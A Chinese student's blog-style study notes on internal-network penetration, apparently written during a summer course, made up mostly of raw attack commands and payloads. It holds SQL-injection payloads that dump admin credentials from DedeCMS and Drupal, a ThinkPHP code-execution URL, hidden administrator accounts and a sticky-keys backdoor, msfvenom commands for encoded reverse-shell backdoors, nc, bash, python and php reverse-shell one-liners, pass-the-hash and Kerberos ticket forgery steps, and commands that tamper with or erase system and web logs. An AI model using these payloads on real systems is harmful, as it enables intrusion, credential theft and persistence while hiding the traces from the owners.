内网渗透笔记
内网渗透笔记
大一脑子进水报了卓越班,放暑假了还在这坐大牢,做一天和尚撞一天钟,记个笔记让我这个月有点收获吧(
信息收集
nmap
1 | -P 指定扫描端口 |
.git泄露
如果存在/.git页面则存在git泄露
GitHack
1 | python GitHack.py http://192.168.xxx.xxx/.git |
.svn泄露
如果存在/.svn页面则存在svn泄露
1 | python SvnExploit.py -u http://192.168.xxx.xxx/.svn --dump |
burpsuite
intruder爆破
域名收集
subDomainsBrute 子域名枚举
1 | python3 subDomainsBrute.py xxxxxxxxxxxxxxxxx |
搜索引擎
1 | site: xxxxxxxxxxxxx |
Sublist3r-master 第三方聚合服务
1 | python sublist3r.py -d xxxxxx -o xxxxxx.txt |
证书透明信息 https://crt.sh
获取真实IP
ping
nslookup
1
2 nslookup xxxxxxx 8.8.8.8
nslookup xxxxxxx 114.114.114.114
- 等
漏洞分析
web漏洞扫描
nikto 扫描器
1 | nikto -host http://xxxxxxxxxxxxxxx |
sqlmap
1 | sqlmap -u http://xxxxxx --level 3 |
弱口令扫描
Hydra
1 | -l 指定单个用户名 |
1 | hydra -U ssh |
Metasploit
1 | msfconsole 进入metasploit |
google hacking
1 | intext: 正文关键字 |
Shodan
搜索引擎
系统漏洞扫描
Nessus
1 | /etc/init.d/nessusd start |
本地访问即可
MetaSploitFramework
同上利用即可
web渗透测试
dedecms
测试payload
1 | http://xxx.xxx.xxx.xxx/plus/search.php?keyword[ uNion ]=a |
Request Error step 1 !
1 /plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
Request Error step 2 !
1 /plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
Drupalcms
sql注入payload
爆库
1 | pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a |
爆表
1 | lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT table_name FROM information_schema.tables WHERE table_schema like database() limit 70,1)),0)%23]=bob&name[0]=a |
爆字段
1 | lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema like database()and table_name like ‘users’ )),0)%23]=bob&name[0]=a |
爆内容
1 | lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,substring((SELECT group_concat(name,’’,pass) FROM users),1,60)),0)%23]=bob&name[0]=alol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema like database()and table_name like ‘users’ )),0)%23]=bob&name[0]=a |
struts2
略
ThinkPHP2
路由解析问题
1 | http://xxx.xxx.xxx.xxx/index.php?s=a/b/c/${@phpinfo()} |
攻防技术
SQL
注就完了
XSS
1 | <script>alert(1)</script> |
CSRF
略
绕过防火墙
http协议覆盖绕过(编码等)
pipline绕过(一次发俩包)
分块传输绕过(把post部分分块)
权限提升
Linux
环境变量劫持
在root的SUID下的程序里调用cat,新建一个cat,写进去shell,再把环境变量写在前面去,然后回去运行,即可拿到shell
计划任务
1 | cat /etc/crontab |
内核漏洞
搜就完事
SUID
1 | find / -user root -perm -4000 -exec ls -ldb {} \; |
利用find可以执行其他命令等
Windows
PATH环境变量配置错误
exp.c
1 |
|
1 | i686-w64-mingw32-gcc exp.c -o Common.exe -mwindows |
编译成ipconfig.exe
丢入PATH下,执行命令即可
Trusted Service Paths
把上面的exp编译成Common.exe
,放在含有空格的地方等待重启即可
计划任务
写入restart.bat
里等
第三方
Serv-U
exp直接入(
先修改ServUDaemon.ini
注册文件,直接加个用户上去,然后ftp连接加进管理员hack
1 | quote site exec net user hack Admin@123. /add |
权限维持
Windows
隐藏账户
在用户名称后面加$即可隐藏
1 | net user hack$ 123456Pp. /add && net localgroup administrators hack$ /add |
可去管理/配置/本地用户和组/用户
中查看
编辑注册表
从注册表里导出,替换F字段的值,下次直接导入注册表即可
shilft后门
1 | copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe |
覆盖掉粘滞快捷键即可
Windows隐藏文件
1 | attrib test.txt +s +h |
其他
注册表启动键值、Windows启动项、Windows计划任务、sc命令创建新服务
Linux
SSHD软连接
1 | cat /etc/ssh/sshd_config | grep UsePAM |
等
其他
启动项、计划任务、SUID后门、公钥免密登陆、Strace后门、进程注入
免杀技术
Metasploit
编码器免杀
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai -b “\x00” -i 16 -f exe -o test.exe |
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw |msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o test1.exe |
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai-x /root/nppInstaller.exe -i 5 -f exe -o nppinstaller2.exe |
upx套壳
1 | msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=2222 -e x86/shikata_ga_nai –i 10 –f exe –o upxtest.exe |
1 | upx -5 upxtest.exe –k |
MSF开启监听
1 | use exploit/multi/handler |
生成二进制后门
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf |
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe |
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho |
生成web后门
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php |
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp |
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp |
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war |
生成脚本后门
1 | msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py |
1 | msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh |
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jspmsfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl |
生成shellcode后门
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language> |
msfvenom常用的使用格式命令
普通生成
1 | msfvenom -p -f -o msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:\back.exe |
编码处理型
1 | msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o C:\back.exe |
捆绑
1 | msfvenom -p windows/meterpreter/reverse_tcp -platform windows -a x86 -x C:\nomal.exe -k -f exe -o C:\shell.exe |
Windows
1 | msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikata_ga_nai -f exe -o C:\back.exe |
Linux
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf |
Mac
1 | msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho |
PHP
1 | msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php |
Asp
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp |
Aspx
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > shell.aspx |
Jsp
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp |
War
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war |
Bash
1 | msfvenom -p cmd/unix/reverse_bash LHOST= LPORT=-f raw > shell.sh |
Perl
1 | msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl |
Python
1 | msfvenom -p python/meterpreter/reverser_tcp LHOST= LPORT= -f raw > shell.py |
其他权限维持
使用msf在主机上注册一个服务,上传服务启动文件,隐藏等
渗透框架
Metasploit
编写shell反弹工具,拿到shell后和稳定程序绑定
内网渗透代理
Lcx端口转发
1 | 攻击机--主机A(1.1.1.2)---防火墙---主机B(192.168.1.2) |
跳板机转发
1 | portmap -m 2 -p1 3950 -h2 1.1.1.2 -p2 3951 |
靶机转发
1 | lcx.exe -slave 1.1.1.2 3950 192.168.1.2 3389 |
ssh端口转发
1 | -C: 请求压缩所有数据 |
本地转发
1 | 攻击机--主机A(1.1.1.2)---防火墙---主机B(192.168.1.2) |
1 | ssh -L 1111:192.168.1.2:80 -fN 1.1.1.2 |
远程转发
1 | 攻击机(1.1.1.1)---防火墙---主机B(192.168.1.2) |
1 | ssh -R 1111:192.168.1.2:80 -fN 1.1.1.1 |
动态转发
1 | 攻击机---主机A(1.1.1.2)---防火墙---主机B(192.168.1.2) |
1 | ssh -D 1080 -DfNg 1.1.1.2 |
利用proxychains
代理即可
反弹shell
1 | -c: 指定连接后要执行的shell命令 |
nc正向shell
1 | nc -lvvp 1111 -e /bin/bash |
nc反向shell
1 | nc -e /bin/bash 1.1.1.1 1111 |
bash反弹shell
1 | bash -i >& /dev/tcp/${HOST}/${POST} 0>&1 |
python反弹shell
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${HOST}",${POST}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' |
php反弹shell
1 | php -r '$sock=fsockopen("${HOST}",${POST});exec("/bin/sh -i &3 2>&3");' |
隐秘隧道搭建
FRP
服务器配置
frps.ini
1
2
3
4
5
6 [common]
bind_port = 7000 # 要绑定的端口
dashboard_user = admin # 控制台的用户名
dashboard_pwd = admin # 控制台的密码
dashboard_port = 6500 # 控制台的端口
1 | frps -c frps.ini |
客户端设置
frpc.ini
1
2
3
4
5
6
7
8
9 [common]
server_addr = 192.168.100.101 #代理服务器ip地址
server_port = 7000 #代理服务器设置绑定的端口
[rdp] # 反向代理名称
type = tcp # 协议类型
local_ip = 107.0.0.1 # 本机ip地址
local_post = 3389 # 远程桌面的默认端口
remote_post = 6005 # 对外访问的端口
1 | frps -c frps.ini |
mstsc.exe
远程桌面直接连接192.168.122.18:6005
即可
EarthWorm
正向代理
1 | ew_for_Win.exe -s ssocksd -l 888 |
之后利用Proxifier
代理即可
reGeorg
1 | python reGeorgSocksProxy.py -l 192.168.122.17 -p 8080 -u http://192.168.122.18/tunnel.nosocket.php |
之后利用Proxifier
代理即可,设置代理规则applications
为python.exe
,Action
为Direct
内网常见攻击
MS17-010等
利用msf远程利用即可
网络设备漏洞
路由器常见漏洞
命令执行\未授权访问\拒绝服务\自带后门
钓鱼攻击
Cobalt Strike钓鱼、Swaks配合CS钓鱼、Word/Excel宏钓鱼、PPSX钓鱼(PPT动作特性构造)、文件名反转、重定向钓鱼、自解压等
后渗透
本机信息收集
常用cmd指令
net user
查看本机用户net user /domain
查看域内用户tasklist
查看当前进程netstat -ano
查看端口列表systeminfo
查看修补程序wmic qfe list full
查看补丁信息
查看域信息
计算机右键属性即可
用户习惯
- 计划任务
【开始】→【管理工具】→【任务计划程序】
- 最近打开的文档
C:\Users\Administrator\Recent
- 收藏夹
- 文件搜索
- 历史记录等
密码收集
- mimikatz
- 谷歌浏览器密码库
C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data
,使用SQLiteStudio打开等
域控攻击
MS14-068
漏洞利用步骤:
- 获取SID
whoami /user
- 生成伪造票据
ms14-086.exe -u (域用户@域) -p (域用户密码) -s (sid) -d (ac_ip)
- 删除缓存票据
klist purge
- 导入票据获取域控权限
kerberos::ptc 自定义命名.ccache
- 尝试列举域控C盘文件
dir \\dc.really.com\c$
MS14-025
在利用“MS14-025”漏洞开始之前需先知道利用失败或者出错可能是什么原因造成的,一般存在以下几种原因:
A.安装了GPP凭证补丁:KB2962486,这个补丁禁止在组策略配置中填入密码,补丁查询命令systeminfo查询是否有安装“KB2962486”补丁。
B.不在组策略中使用域控密码。
C.SYSVOL文件夹访问权限。
D.可能没使用GPP配置。
漏洞利用步骤:
- 判断SYSVOL文件夹访问权限。
- 查找XML文件。
Groups.xml
- 解密XML文件中加密的密码信息。
cpassword
Pass the Hash
在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。本机Windows应用程序要求用户提供明文密码,然后调用LsaLogonUser 之类的API,将该密码转换为一个或两个哈希值(LM或NT哈希),然后在NTLM身份验证期间将其发送到远程服务器。对这种机制的分析表明,成功完成网络身份验证不需要明文密码,只需要哈希即可。
如果攻击者具有用户密码的哈希值,则无需强行使用明文密码;可以简单地使用已经收获的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成的原始密码。
攻击步骤:
1 | 1、获取NTLM Hash |
Ntml Hash获取
利用Responder工具,(搭建SMB服务、SQL服务器、FTP、HTTP等)
1 | responder -I eth0 |
域权限维持
- 使用黄金票据
- SSP权限维持
- Memory Updateing of SSPs权限维持
- GPO组策略权限维持
域信息收集
常用cmd命令
net view /domain
查看当前存在几个域net time /domain
查看域时间及域服务器的名字ipconfig /all
可查询DNS服务器ping xxx.com
获取域控制器IP,或者nslookup、set type=a、really.com
net group “Domain Controllers” /domain
查看域控主机名称net group “domain admins” /domain
查看域管理员
痕迹清除
Linux日志
history
查看命令历史记录history -c
清除命令历史记录
设置不记录历史命令
1 | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG |
w
查看utmp日志
利用logtamper工具进行删除
1 | python logtamper.py –m 1 –u root –i 192.168.122.16 |
w
查看wtmp日志
同上
1 | python logtamper.py –m 2 –u root –i 192.168.122.16 |
lastlog
查看lastlog日志
将上次登录事件修改为2018年9月24日10:11:12
1 | python logtamper.py –m 3 –u root –i 192.168.122.16 –t tty1 –d 2018:09:24:10:11:12 |
logtamper.py
1 | #!/usr/bin/env python |
Web日志
Apache日志
find / -name *access*log
搜索全部日志sed –i ‘s/192.168.122.18/192.168.122.17/’ /var/log/httpd/access.log
将访问IP为192.168.122.18的地址替换为192.168.122.17sed–i‘/192.168.122.17/’d /var/log/httpd/access.log
删除访问IP为192.168.122.17的记录
IIS日志
CleanIISLog
1 | CleanIISLog.exe u_ex201008.log 192.168.122.18 |
用工具就行了,略
Windows日志
利用MSF
runevent_manager –i
查看日志及其配置信息clearev
清除系统日志
好!学完啦!撒花!(悲
垃圾卓越班
如题,垃圾卓越班,狗都不来(